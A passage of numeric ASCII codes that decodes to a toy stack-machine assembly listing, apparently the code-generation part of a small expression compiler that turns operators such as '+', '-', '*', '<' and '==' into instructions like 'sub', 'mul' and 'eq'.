93,10,106,122,32,48,32,49,53,53,57,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,53,49,10,112,111,112,32,98,112,91,56,52,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,55,93,32,98,112,91,56,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,56,53,93,32,91,57,49,44,57,51,93,10,101,113,32,98,112,91,56,54,93,32,98,112,91,49,93,32,98,112,91,56,53,93,10,106,122,32,98,112,91,56,54,93,32,49,54,51,50,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,56,55,93,10,115,117,98,32,115,112,32,115,112,32,49,10,101,113,32,98,112,91,56,56,93,32,98,112,91,56,55,93,32,48,10,106,122,32,98,112,91,56,56,93,32,49,53,57,56,10,109,97,107,101,108,105,115,116,32,98,112,91,56,57,93,32,91,57,49,44,57,51,93,10,109,111,118,32,35,48,32,98,112,91,56,57,93,10,106,122,32,48,32,49,54,50,49,10,109,97,107,101,108,105,115,116,32,98,112,91,57,48,93,32,91,57,49,93,10,103,101,116,32,98,112,91,57,49,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,57,50,93,32,98,112,91,57,48,93,32,98,112,91,57,49,93,10,109,111,118,32,35,48,32,98,112,91,57,50,93,10,109,111,118,32,98,112,91,54,93,32,49,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,57,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,57,52,93,32,98,112,91,54,93,32,98,112,91,57,51,93,10,106,122,32,98,112,91,57,52,93,32,49,54,49,56,10,109,97,107,101,108,105,115,116,32,98,112,91,57,53,93,32,91,52,52,93,10,97,100,100,32,98,112,91,57,54,93,32,35,48,32,98,112,91,57,53,93,10,103,101,116,32,98,112,91,57,55,93,32,98,112,91,51,93,32,98,112,91,54,93,10,97,100,100,32,98,112,91,57,56,93,32,98,112,91,57,54,93,32,98,112,91,57,55,93,10,109,111,118,32,35,48,32,98,112,91,57,56,93,10,97,100,100,32,98,112,91,57,57,93,32,98,112,91,54,93,32,49,10,109,111,118,32,98,112,91,54,93,32,98,112,91,57,57,93,10,106,122,32,48,32,49,54,48,51,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,48,93,32,91,57,51,93,10,97,100,100,32,98,112,91,49,48,49,93,32,35,48,32,98,112,91,49,48,48,93,10,109,111,118,32,35,48,32,98,112,91,49,48,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,51,93,32,91,49,48,57,44,57,55,44,49,48,55,44,49,48,49,44,49,48,56,44,49,48,53,44,49,49,53,44,49,49,54,44,51,50,93,10,97,100,100,32,98,112,91,49,48,52,93,32,98,112,91,49,48,51,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,53,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,48,54,93,32,98,112,91,49,48,52,93,32,98,112,91,49,48,53,93,10,97,100,100,32,98,112,91,49,48,55,93,32,98,112,91,49,48,54,93,32,35,48,10,112,117,115,104,32,98,112,91,49,48,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,48,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,56,93,32,91,55,55,44,49,48,53,44,49,49,48,44,49,49,55,44,49,49,53,93,10,101,113,32,98,112,91,49,48,57,93,32,98,112,91,49,93,32,98,112,91,49,48,56,93,10,106,122,32,98,112,91,49,48,57,93,32,49,54,52,55,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,49,93,32,91,49,49,53,44,49,49,55,44,57,56,44,51,50,93,10,97,100,100,32,98,112,91,49,49,50,93,32,98,112,91,49,49,49,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,51,93,32,91,51,50,44,52,56,44,51,50,93,10,97,100,100,32,98,112,91,49,49,52,93,32,98,112,91,49,49,50,93,32,98,112,91,49,49,51,93,10,103,101,116,32,98,112,91,49,49,53,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,49,49,54,93,32,98,112,91,49,49,52,93,32,98,112,91,49,49,53,93,10,112,117,115,104,32,98,112,91,49,49,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,49,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,55,93,32,91,55,56,44,49,49,49,44,49,49,54,93,10,101,113,32,98,112,91,49,49,56,93,32,98,112,91,49,93,32,98,112,91,49,49,55,93,10,106,122,32,98,112,91,49,49,56,93,32,49,54,54,52,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,48,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,49,50,49,93,32,98,112,91,49,50,48,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,50,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,50,51,93,32,98,112,91,49,50,49,93,32,98,112,91,49,50,50,93,10,103,101,116,32,98,112,91,49,50,52,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,49,50,53,93,32,98,112,91,49,50,51,93,32,98,112,91,49,50,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,54,93,32,91,51,50,44,52,56,93,10,97,100,100,32,98,112,91,49,50,55,93,32,98,112,91,49,50,53,93,32,98,112,91,49,50,54,93,10,112,117,115,104,32,98,112,91,49,50,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,49,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,56,93,32,91,52,51,93,10,101,113,32,98,112,91,49,50,57,93,32,98,112,91,49,93,32,98,112,91,49,50,56,93,10,106,122,32,98,112,91,49,50,57,93,32,49,54,56,51,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,49,93,32,91,57,55,44,49,48,48,44,49,48,48,44,51,50,93,10,97,100,100,32,98,112,91,49,51,50,93,32,98,112,91,49,51,49,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,51,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,51,52,93,32,98,112,91,49,51,50,93,32,98,112,91,49,51,51,93,10,103,101,116,32,98,112,91,49,51,53,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,49,51,54,93,32,98,112,91,49,51,52,93,32,98,112,91,49,51,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,55,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,51,56,93,32,98,112,91,49,51,54,93,32,98,112,91,49,51,55,93,10,103,101,116,32,98,112,91,49,51,57,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,49,52,48,93,32,98,112,91,49,51,56,93,32,98,112,91,49,51,57,93,10,112,117,115,104,32,98,112,91,49,52,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,51,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,49,52,49,93,32,91,52,53,93,10,101,113,32,98,112,91,49,52,50,93,32,98,112,91,49,93,32,98,112,91,49,52,49,93,10,106,122,32,98,112,91,49,52,50,93,32,49,55,48,50,10,109,97,107,101,108,105,115,116,32,98,112,91,49,52,52,93,32,91,49,49,53,44,49,49,55,44,57,56,44,51,50,93,10,97,100,100,32,98,112,91,49,52,53,93,32,98,112,91,49,52,52,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,52,54,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,52,55,93,32,98,112,91,49,52,53,93,32,98,112,91,49,52,54,93,10,103,101,116,32,98,112,91,49,52,56,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,49,52,57,93,32,98,112,91,49,52,55,93,32,98,112,91,49,52,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,53,48,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,53,49,93,32,98,112,91,49,52,57,93,32,98,112,91,49,53,48,93,10,103,101,116,32,98,112,91,49,53,50,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,49,53,51,93,32,98,112,91,49,53,49,93,32,98,112,91,49,53,50,93,10,112,117,115,104,32,98,112,91,49,53,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,52,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,49,53,52,93,32,91,52,50,93,10,101,113,32,98,112,91,49,53,53,93,32,98,112,91,49,93,32,98,112,91,49,53,52,93,10,106,122,32,98,112,91,49,53,53,93,32,49,55,50,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,53,55,93,32,91,49,48,57,44,49,49,55,44,49,48,56,44,51,50,93,10,97,100,100,32,98,112,91,49,53,56,93,32,98,112,91,49,53,55,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,53,57,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,54,48,93,32,98,112,91,49,53,56,93,32,98,112,91,49,53,57,93,10,103,101,116,32,98,112,91,49,54,49,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,49,54,50,93,32,98,112,91,49,54,48,93,32,98,112,91,49,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,54,51,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,54,52,93,32,98,112,91,49,54,50,93,32,98,112,91,49,54,51,93,10,103,101,116,32,98,112,91,49,54,53,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,49,54,54,93,32,98,112,91,49,54,52,93,32,98,112,91,49,54,53,93,10,112,117,115,104,32,98,112,91,49,54,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,53,54,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,49,54,55,93,32,91,52,55,93,10,101,113,32,98,112,91,49,54,56,93,32,98,112,91,49,93,32,98,112,91,49,54,55,93,10,106,122,32,98,112,91,49,54,56,93,32,49,55,52,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,55,48,93,32,91,49,48,48,44,49,48,53,44,49,49,56,44,51,50,93,10,97,100,100,32,98,112,91,49,55,49,93,32,98,112,91,49,55,48,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,55,50,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,55,51,93,32,98,112,91,49,55,49,93,32,98,112,91,49,55,50,93,10,103,101,116,32,98,112,91,49,55,52,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,49,55,53,93,32,98,112,91,49,55,51,93,32,98,112,91,49,55,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,55,54,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,55,55,93,32,98,112,91,49,55,53,93,32,98,112,91,49,55,54,93,10,103,101,116,32,98,112,91,49,55,56,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,49,55,57,93,32,98,112,91,49,55,55,93,32,98,112,91,49,55,56,93,10,112,117,115,104,32,98,112,91,49,55,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,54,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,49,56,48,93,32,91,51,55,93,10,101,113,32,98,112,91,49,56,49,93,32,98,112,91,49,93,32,98,112,91,49,56,48,93,10,106,122,32,98,112,91,49,56,49,93,32,49,55,56,55,10,109,97,107,101,108,105,115,116,32,98,112,91,49,56,51,93,32,91,49,48,48,44,49,48,53,44,49,49,56,44,51,50,93,10,97,100,100,32,98,112,91,49,56,52,93,32,98,112,91,49,56,51,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,56,53,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,56,54,93,32,98,112,91,49,56,52,93,32,98,112,91,49,56,53,93,10,103,101,116,32,98,112,91,49,56,55,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,49,56,56,93,32,98,112,91,49,56,54,93,32,98,112,91,49,56,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,56,57,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,57,48,93,32,98,112,91,49,56,56,93,32,98,112,91,49,56,57,93,10,103,101,116,32,98,112,91,49,57,49,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,49,57,50,93,32,98,112,91,49,57,48,93,32,98,112,91,49,57,49,93,10,112,117,115,104,32,98,112,91,49,57,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,56,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,57,52,93,32,91,49,48,57,44,49,49,55,44,49,48,56,44,51,50,93,10,97,100,100,32,98,112,91,49,57,53,93,32,98,112,91,49,57,52,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,57,54,93,32,91,51,50,93,10,97,100,100,32,98,112,91,49,57,55,93,32,98,112,91,49,57,53,93,32,98,112,91,49,57,54,93,10,97,100,100,32,98,112,91,49,57,56,93,32,98,112,91,49,57,55,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,57,57,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,48,48,93,32,98,112,91,49,57,56,93,32,98,112,91,49,57,57,93,10,103,101,116,32,98,112,91,50,48,49,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,50,48,50,93,32,98,112,91,50,48,48,93,32,98,112,91,50,48,49,93,10,112,117,115,104,32,98,112,91,50,48,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,57,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,50,48,52,93,32,91,49,49,53,44,49,49,55,44,57,56,44,51,50,93,10,97,100,100,32,98,112,91,50,48,53,93,32,98,112,91,50,48,52,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,48,54,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,48,55,93,32,98,112,91,50,48,53,93,32,98,112,91,50,48,54,93,10,103,101,116,32,98,112,91,50,48,56,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,50,48,57,93,32,98,112,91,50,48,55,93,32,98,112,91,50,48,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,48,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,49,49,93,32,98,112,91,50,48,57,93,32,98,112,91,50,49,48,93,10,97,100,100,32,98,112,91,50,49,50,93,32,98,112,91,50,49,49,93,32,98,112,91,55,93,10,112,117,115,104,32,98,112,91,50,49,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,48,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,51,93,32,91,54,48,93,10,101,113,32,98,112,91,50,49,52,93,32,98,112,91,49,93,32,98,112,91,50,49,51,93,10,106,122,32,98,112,91,50,49,52,93,32,49,56,48,54,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,54,93,32,91,49,48,56,44,49,49,54,44,51,50,93,10,97,100,100,32,98,112,91,50,49,55,93,32,98,112,91,50,49,54,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,56,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,49,57,93,32,98,112,91,50,49,55,93,32,98,112,91,50,49,56,93,10,103,101,116,32,98,112,91,50,50,48,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,50,50,49,93,32,98,112,91,50,49,57,93,32,98,112,91,50,50,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,50,50,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,50,51,93,32,98,112,91,50,50,49,93,32,98,112,91,50,50,50,93,10,103,101,116,32,98,112,91,50,50,52,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,50,50,53,93,32,98,112,91,50,50,51,93,32,98,112,91,50,50,52,93,10,112,117,115,104,32,98,112,91,50,50,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,49,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,50,50,54,93,32,91,54,50,93,10,101,113,32,98,112,91,50,50,55,93,32,98,112,91,49,93,32,98,112,91,50,50,54,93,10,106,122,32,98,112,91,50,50,55,93,32,49,56,50,53,10,109,97,107,101,108,105,115,116,32,98,112,91,50,50,57,93,32,91,49,48,56,44,49,49,54,44,51,50,93,10,97,100,100,32,98,112,91,50,51,48,93,32,98,112,91,50,50,57,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,49,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,51,50,93,32,98,112,91,50,51,48,93,32,98,112,91,50,51,49,93,10,103,101,116,32,98,112,91,50,51,51,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,50,51,52,93,32,98,112,91,50,51,50,93,32,98,112,91,50,51,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,53,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,51,54,93,32,98,112,91,50,51,52,93,32,98,112,91,50,51,53,93,10,103,101,116,32,98,112,91,50,51,55,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,50,51,56,93,32,98,112,91,50,51,54,93,32,98,112,91,50,51,55,93,10,112,117,115,104,32,98,112,91,50,51,56,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,50,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,57,93,32,91,54,48,44,54,49,93,10,101,113,32,98,112,91,50,52,48,93,32,98,112,91,49,93,32,98,112,91,50,51,57,93,10,106,122,32,98,112,91,50,52,48,93,32,49,56,53,52,10,109,97,107,101,108,105,115,116,32,98,112,91,50,52,50,93,32,91,49,48,56,44,49,49,54,44,51,50,93,10,97,100,100,32,98,112,91,50,52,51,93,32,98,112,91,50,52,50,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,52,52,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,52,53,93,32,98,112,91,50,52,51,93,32,98,112,91,50,52,52,93,10,103,101,116,32,98,112,91,50,52,54,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,50,52,55,93,32,98,112,91,50,52,53,93,32,98,112,91,50,52,54,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,52,56,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,52,57,93,32,98,112,91,50,52,55,93,32,98,112,91,50,52,56,93,10,103,101,116,32,98,112,91,50,53,48,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,50,53,49,93,32,98,112,91,50,52,57,93,32,98,112,91,50,53,48,93,10,112,117,115,104,32,98,112,91,50,53,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,52,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,50,53,51,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,50,53,52,93,32,98,112,91,50,53,51,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,53,53,93,32,91,51,50,44,52,56,44,51,50,93,10,97,100,100,32,98,112,91,50,53,54,93,32,98,112,91,50,53,52,93,32,98,112,91,50,53,53,93,10,97,100,100,32,98,112,91,50,53,55,93,32,98,112,91,50,53,54,93,32,98,112,91,55,93,10,112,117,115,104,32,98,112,91,50,53,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,53,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,50,53,56,93,32,91,54,50,44,54,49,93,10,101,113,32,98,112,91,50,53,57,93,32,98,112,91,49,93,32,98,112,91,50,53,56,93,10,106,122,32,98,112,91,50,53,57,93,32,49,56,56,51,10,109,97,107,101,108,105,115,116,32,98,112,91,50,54,49,93,32,91,49,48,56,44,49,49,54,44,51,50,93,10,97,100,100,32,98,112,91,50,54,50,93,32,98,112,91,50,54,49,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,54,51,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,54,52,93,32,98,112,91,50,54,50,93,32,98,112,91,50,54,51,93,10,103,101,116,32,98,112,91,50,54,53,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,50,54,54,93,32,98,112,91,50,54,52,93,32,98,112,91,50,54,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,54,55,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,54,56,93,32,98,112,91,50,54,54,93,32,98,112,91,50,54,55,93,10,103,101,116,32,98,112,91,50,54,57,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,50,55,48,93,32,98,112,91,50,54,56,93,32,98,112,91,50,54,57,93,10,112,117,115,104,32,98,112,91,50,55,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,54,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,50,55,50,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,50,55,51,93,32,98,112,91,50,55,50,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,55,52,93,32,91,51,50,44,52,56,44,51,50,93,10,97,100,100,32,98,112,91,50,55,53,93,32,98,112,91,50,55,51,93,32,98,112,91,50,55,52,93,10,97,100,100,32,98,112,91,50,55,54,93,32,98,112,91,50,55,53,93,32,98,112,91,55,93,10,112,117,115,104,32,98,112,91,50,55,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,55,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,50,55,55,93,32,91,54,49,44,54,49,93,10,101,113,32,98,112,91,50,55,56,93,32,98,112,91,49,93,32,98,112,91,50,55,55,93,10,106,122,32,98,112,91,50,55,56,93,32,49,57,48,50,10,109,97,107,101,108,105,115,116,32,98,112,91,50,56,48,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,50,56,49,93,32,98,112,91,50,56,48,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,56,50,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,56,51,93,32,98,112,91,50,56,49,93,32,98,112,91,50,56,50,93,10,103,101,116,32,98,112,91,50,56,52,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,50,56,53,93,32,98,112,91,50,56,51,93,32,98,112,91,50,56,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,56,54,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,56,55,93,32,98,112,91,50,56,53,93,32,98,112,91,50,56,54,93,10,103,101,116,32,98,112,91,50,56,56,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,50,56,57,93,32,98,112,91,50,56,55,93,32,98,112,91,50,56,56,93,10,112,117,115,104,32,98,112,91,50,56,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,55,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,50,57,48,93,32,91,51,51,44,54,49,93,10,101,113,32,98,112,91,50,57,49,93,32,98,112,91,49,93,32,98,112,91,50,57,48,93,10,106,122,32,98,112,91,50,57,49,93,32,49,57,51,51,10,109,97,107,101,108,105,115,116,32,98,112,91,50,57,51,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,50,57,52,93,32,98,112,91,50,57,51,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,57,53,93,32,91,51,50,93,10,97,100,100,32,98,112,91,50,57,54,93,32,98,112,91,50,57,52,93,32,98,112,91,50,57,53,93,10,103,101,116,32,98,112,91,50,57,55,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,50,57,56,93,32,98,112,91,50,57,54,93,32,98,112,91,50,57,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,57,57,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,48,48,93,32,98,112,91,50,57,56,93,32,98,112,91,50,57,57,93,10,103,101,116,32,98,112,91,51,48,49,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,51,48,50,93,32,98,112,91,51,48,48,93,32,98,112,91,51,48,49,93,10,112,117,115,104,32,98,112,91,51,48,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,57,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,51,48,52,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,51,48,53,93,32,98,112,91,51,48,52,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,48,54,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,48,55,93,32,98,112,91,51,48,53,93,32,98,112,91,51,48,54,93,10,97,100,100,32,98,112,91,51,48,56,93,32,98,112,91,51,48,55,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,48,57,93,32,91,51,50,44,52,56,93,10,97,100,100,32,98,112,91,51,49,48,93,32,98,112,91,51,48,56,93,32,98,112,91,51,48,57,93,10,112,117,115,104,32,98,112,91,51,49,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,48,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,50,48,54,50,10,109,97,107,101,108,105,115,116,32,98,112,91,51,49,49,93,32,91,51,56,44,51,56,93,10,101,113,32,98,112,91,51,49,50,93,32,98,112,91,49,93,32,98,112,91,51,49,49,93,10,106,122,32,98,112,91,51,49,50,93,32,49,57,55,54,10,109,97,107,101,108,105,115,116,32,98,112,91,51,49,52,93,32,91,49,48,57,44,49,49,55,44,49,48,56,44,51,50,93,10,97,100,100,32,98,112,91,51,49,53,93,32,98,112,91,51,49,52,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,49,54,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,49,55,93,32,98,112,91,51,49,53,93,32,98,112,91,51,49,54,93,10,103,101,116,32,98,112,91,51,49,56,93,32,98,112,91,51,93,32,48,10,97,100,100,32,98,112,91,51,49,57,93,32,98,112,91,51,49,55,93,32,98,112,91,51,49,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,50,48,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,50,49,93,32,98,112,91,51,49,57,93,32,98,112,91,51,50,48,93,10,103,101,116,32,98,112,91,51,50,50,93,32,98,112,91,51,93,32,49,10,97,100,100,32,98,112,91,51,50,51,93,32,98,112,91,51,50,49,93,32,98,112,91,51,50,50,93,10,112,117,115,104,32,98,112,91,51,50,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,49,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,51,50,53,93,32,91,49,48,49,44,49,49,51,44,51,50,93,10,97,100,100,32,98,112,91,51,50,54,93,32,98,112,91,51,50,53,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,50,55,93,32,91,51,50,93,10,97,100,100,32,98,112,91,51,50,56,93,32,98,112,91,51,50,54,93,32,98,112,91,51,50,55,93,10,97,100,100,32,98,112,91,51,50,57,93,32,98,112,91,51,50,56,93,32,98,112,91,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,51,48,93,32,91,51,50,44,52,56,93,10,97,100,100,32,98,112,91,51,51,49,93,32,98,112,91,51,50,57,93,32,98,112,91,51,51,48,93,10,112,117,115,104,32,98,112,91,51,51,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,